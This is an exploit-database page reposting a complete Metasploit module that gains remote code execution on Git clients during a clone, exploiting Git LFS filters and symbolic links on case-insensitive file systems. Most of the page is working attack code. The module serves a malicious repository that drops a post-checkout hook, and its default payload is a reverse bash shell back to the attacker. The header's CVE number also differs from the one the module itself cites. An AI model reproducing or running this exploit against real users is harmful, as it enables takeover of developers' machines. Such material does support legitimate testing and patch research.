Advertisement






Git LFS Clone Command Execution

CVE Category Price Severity
CVE-2020-27955 CWE-78 $5,000 High
Author Risk Exploitation Type Date
Erik Hunstad High Remote 2021-08-31
CPE PURL
cpe:cpe:2.3:a:git:git:- pkg:No PURL package manager url available for this exploit
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 0.20073 0.60252

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021080106

Below is a copy:

Git LFS Clone Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Git
  include Msf::Exploit::Git::SmartHttp
  include Msf::Exploit::Git::Lfs
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Git LFS Clone Command Exec',
        'Description' => %q{
          Git clients that support delay-capable clean / smudge
          filters and symbolic links on case-insensitive file systems are
          vulnerable to remote code execution while cloning a repository.

          Usage of clean / smudge filters through Git LFS and a
          case-insensitive file system changes the checkout order
          of repository files which enables the placement of a Git hook
          in the `.git/hooks` directory. By default, this module writes
          a `post-checkout` script so that the payload will automatically
          be executed upon checkout of the repository.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Johannes Schindelin', # Discovery
          'Matheus Tavares', # Discovery
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-21300' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],
          [ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]
        ],
        'DisclosureDate' => '2021-04-26',
        'Platform' => [ 'unix' ],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Git for MacOS, Windows',
            {
              'Platform' => [ 'unix' ],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
        }
      )
    )

    register_options(
      [
        OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
      ]
    )

    deregister_options('RHOSTS', 'RPORT')
  end

  def exploit
    setup_repo_structure
    super
  end

  def setup_repo_structure
    link_content = '.git/hooks'
    link_name = Rex::Text.rand_text_alpha(8..12).downcase
    link_obj = GitObject.build_blob_object(link_content)

    dir_name = link_name.upcase
    git_attr = '.gitattributes'

    git_hook = 'post-checkout'
    @hook_payload = "#!/bin/sh\n#{payload.encoded}"
    ptr_file = generate_pointer_file(@hook_payload)

    # need to initially send the pointer file
    # then send the actual object when Git LFS requests it
    git_hook_ptr = GitObject.build_blob_object(ptr_file)

    git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"
    git_attr_obj = GitObject.build_blob_object(git_attr_content)

    sub_file_content = Rex::Text.rand_text_alpha(0..150)
    sub_file_name = Rex::Text.rand_text_alpha(8..12)
    sub_file_obj = GitObject.build_blob_object(sub_file_content)

    register_dir_for_cleanup('.git')
    register_files_for_cleanup(git_attr, link_name)

    # create subdirectory which holds payload
    sub_tree =
      [
        {
          mode: '100644',
          file_name: sub_file_name,
          sha1: sub_file_obj.sha1
        },
        {
          mode: '100755',
          file_name: git_hook,
          sha1: git_hook_ptr.sha1
        }
      ]

    sub_tree_obj = GitObject.build_tree_object(sub_tree)

    # root of repository
    tree_ent =
      [
        {
          mode: '100644',
          file_name: git_attr,
          sha1: git_attr_obj.sha1
        },
        {
          mode: '040000',
          file_name: dir_name,
          sha1: sub_tree_obj.sha1
        },
        {
          mode: '120000',
          file_name: link_name,
          sha1: link_obj.sha1
        }
      ]
    tree_obj = GitObject.build_tree_object(tree_ent)
    commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)

    @git_objs =
      [
        commit, tree_obj, sub_tree_obj,
        sub_file_obj, git_attr_obj, git_hook_ptr,
        link_obj
      ]

    @refs =
      {
        'HEAD' => 'refs/heads/master',
        'refs/heads/master' => commit.sha1
      }
  end

  def create_git_uri
    "/#{Faker::App.name.downcase}.git".gsub(' ', '-')
  end

  def primer
    @git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
    @git_addr = URI.parse(get_uri).merge(@git_repo_uri)
    print_status("Git repository to clone: #{@git_addr}")
    hardcoded_uripath(@git_repo_uri)
    hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
  end

  def on_request_uri(cli, req)
    if req.uri.include?('git-upload-pack')
      request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
      case request.type
      when 'ref-discovery'
        response = send_refs(request)
      when 'upload-pack'
        response = send_requested_objs(request)
      else
        fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
      end
    else
      response = handle_lfs_objects(req)
      unless response.code == 200
        cli.send_response(response)
        fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
      end
    end

    cli.send_response(response)
  end

  def send_refs(req)
    fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'

    response = get_ref_discovery_response(req, @refs)
    fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response

    response
  end

  def send_requested_objs(req)
    upload_pack_resp = get_upload_pack_response(req, @git_objs)
    unless upload_pack_resp
      fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
    end

    upload_pack_resp
  end

  def handle_lfs_objects(req)
    git_hook_obj = GitObject.build_blob_object(@hook_payload)

    case req.method
    when 'POST'
      print_status('Sending payload data...')
      response = get_batch_response(req, @git_addr, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
    when 'GET'
      print_status('Sending LFS object...')
      response = get_requested_obj_response(req, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
    else
      fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
    end

    response
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum